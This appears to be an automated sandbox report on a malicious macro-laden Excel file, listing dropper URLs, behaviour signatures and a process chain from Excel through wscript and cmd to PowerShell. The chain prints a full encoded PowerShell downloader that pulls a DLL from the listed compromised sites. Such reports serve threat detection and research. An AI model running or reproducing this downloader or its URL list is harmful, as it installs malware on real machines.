Analysis
- max time kernel
159s - max time network
118s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
07/02/2022, 22:23
General
- Target tmpkx8r5x27.xls
- Size 123KB
- Sample220207-2at38saebl
- SHA256 a4b1a3ac3d72dd610308e4567b22972e7cc07e1d121dfc3a0d4a9aec21d1b919
Malware Config
Extracted
-
ps1
-
exe.dropper
http://harperhouseproducts.com/Merchant2/ARsf1LIcOauhH1rDrIh/
-
exe.dropper
http://holubvideo.com/eln-images/zqqgZ0YXaPiWbF/
-
exe.dropper
http://magicblog.tatamotors.com/wp-includes/7faN9/
-
exe.dropper
http://chastongroditski.com/eln-images/skSsCLJtI24kZvo/
-
exe.dropper
http://seacupps.com/eln-images/AYvykzg/
-
exe.dropper
http://ericandrobin.com/cgi/qRe8dRaG2HDNOOG1/
-
exe.dropper
http://sosantiques.com/cgi/9ii/
-
exe.dropper
https://greenlawnirrigation.net/GLI_New/JRlt3mOiezE/
-
exe.dropper
https://on-lineventures.com/cgi/ks0Mp/
-
exe.dropper
http://sunriseconsultant.com/eln-images/sO4XvFBsevCRf/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Office loads VBA resources, possible macro or embedded object present
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpkx8r5x27.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\yhjlswle.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\ughldskbhn.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbAB1AGIAdgBpAGQAZQBvAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMATABKAHQASQAyADQAawBaAHYAbwAvACwAaAB0AHQAcAA6AC8ALwBzAGUAYQBjAHUAcABwAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBBAFkAdgB5AGsAegBnAC8ALABoAHQAdABwADoALwAvAGUAcgBpAGMAYQBuAGQAcgBvAGIAaQBuAC4AYwBvAG0ALwBjAGcAaQAvAHEAUgBlADgAZABSAGEARwAyAEgARABOAE8ATwBHADEALwAsAGgAdAB0AHAAOgAvAC8AcwBvAHMAYQBuAHQAaQBxAHUAZQBzAC4AYwBvAG0ALwBjAGcAaQAvADkAaQBpAC8ALABoAHQAdABwAHMAOgAvAC8AZwByAGUAZQBuAGwAYQB3AG4AaQByAHIAaQBnAGEAdABpAG8AbgAuAG4AZQB0AC8ARwBMAEkAXwBOAGUAdwAvAEoAUgBsAHQAMwBtAE8AaQBlAHoARQAvACwAaAB0AHQAcABzADoALwAvAG8AbgAtAGwAaQBuAGUAdgBlAG4AdAB1AHIAZQBzAC4AYwBvAG0ALwBjAGcAaQAvAGsAcwAwAE0AcAAvACwAaAB0AHQAcAA6AC8ALwBzAHUAbgByAGkAcwBlAGMAbwBuAHMAdQBsAHQAYQBuAHQALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAE8ANABYAHYARgBCAHMAZQB2AEMAUgBmAC8ALABoAHQAdABwADoALwAvAGIAbABvAGcALgBsAG8AZwBvADEAMgAzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQA5AEcAMAA0AEwAagBBADEAVQBjAEUAMQB0AE4AOAAvACwAaAB0AHQAcAA6AC8ALwBpAG4AdAByAGEAYgBsAG8AZwAuAHQAYQB0AGEAbQBvAHQAbwByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAE0ARwBHAGkANQB6AGMAWgByAGsAbwBsAEYASAA5AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABiAG4AZQB1AGkAaABsAG8AdwBzAC4AZABsAGwAIgA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1524-98-0x00000000021C0000-0x00000000023C0000-memory.dmp
memory/1524-97-0x000000006B7A0000-0x000000006BD4B000-memory.dmp
memory/1524-96-0x00000000021C0000-0x00000000023C0000-memory.dmp
memory/1524-95-0x000000006B7A0000-0x000000006BD4B000-memory.dmp
memory/1840-75-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-78-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-65-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-61-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-60-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-66-0x00000000004C7000-0x00000000004C8000-memory.dmp
memory/1840-67-0x0000000005D90000-0x0000000005EA0000-memory.dmp
memory/1840-70-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-73-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-72-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-71-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-69-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-68-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-74-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-55-0x000000002F5A1000-0x000000002F5A4000-memory.dmp
memory/1840-76-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-77-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-64-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-79-0x00000000004C7000-0x00000000004C8000-memory.dmp
memory/1840-80-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-82-0x0000000005CB9000-0x0000000005CBB000-memory.dmp
memory/1840-81-0x00000000004C7000-0x00000000004C8000-memory.dmp
memory/1840-83-0x0000000005CBA000-0x0000000005CBB000-memory.dmp
memory/1840-85-0x0000000005CBA000-0x0000000005CBB000-memory.dmp
memory/1840-84-0x0000000005CB9000-0x0000000005CBB000-memory.dmp
memory/1840-86-0x0000000005CB9000-0x0000000005CBB000-memory.dmp
memory/1840-87-0x0000000005CBA000-0x0000000005CBB000-memory.dmp
memory/1840-63-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-62-0x00000000003D0000-0x00000000004E6000-memory.dmp
memory/1840-94-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1840-59-0x0000000075421000-0x0000000075423000-memory.dmp
memory/1840-58-0x0000000071F5D000-0x0000000071F68000-memory.dmp
memory/1840-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1840-56-0x0000000070F71000-0x0000000070F73000-memory.dmp